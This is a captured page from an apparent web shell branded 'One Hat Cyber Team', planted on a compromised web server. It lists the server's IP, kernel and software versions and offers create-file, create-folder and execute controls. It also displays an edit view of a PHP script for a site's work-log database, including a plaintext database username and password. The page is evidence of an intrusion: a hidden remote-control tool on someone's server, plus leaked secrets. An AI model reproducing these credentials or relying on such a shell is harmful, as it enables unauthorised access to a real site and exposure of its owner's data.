One Hat Cyber Team
Your IP :
18.220.41.155
Server IP :
50.28.103.30
Server :
Linux host.jcukjv-lwsites.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
Server Software :
nginx/1.24.0
PHP Version :
8.3.12
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
sd.electronharmony.com
/
Edit File:
addwork1.php
<?php // 数据库配置 $servername = "localhost"; $username = "t001"; $password = "ZRTsRb6Ycp585AEC"; $dbname = "t001"; // 创建数据库连接 $conn = new mysqli($servername, $username, $password, $dbname); // 检查连接 if ($conn->connect_error) { die("连接失败: " . $conn->connect_error); } // 获取表单数据 $mname = $_POST['mname']; $rest = $_POST['rest']; $startt = $_POST['startt']; $bs = $_POST['bs']; $cs = $_POST['cs']; $ds = $_POST['ds']; $es = $_POST['es']; $fs = $_POST['fs']; $endt = $_POST['endt']; $accomplish = $_POST['accomplish']; date_default_timezone_set('America/Los_Angeles'); $date = date("Y-m-d"); // 获取日期 // 使用准备好的语句来插入数据 $stmt = $conn->prepare("INSERT INTO works (mname, rest, startt, bs, cs, ds, es, fs, endt, accomplish, date) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)"); $stmt->bind_param("sssssssssss", $mname, $rest, $startt, $bs, $cs, $ds, $es, $fs, $endt, $accomplish, $date); // 执行准备好的语句 if ($stmt->execute()) { echo "新记录插入成功"; header("Location: works.php"); exit(); // 确保脚本在重定向后停止执行 } else { echo "插入记录时出错: " . $stmt->error; } // 关闭准备好的语句和数据库连接 $stmt->close(); $conn->close(); ?>
Simpan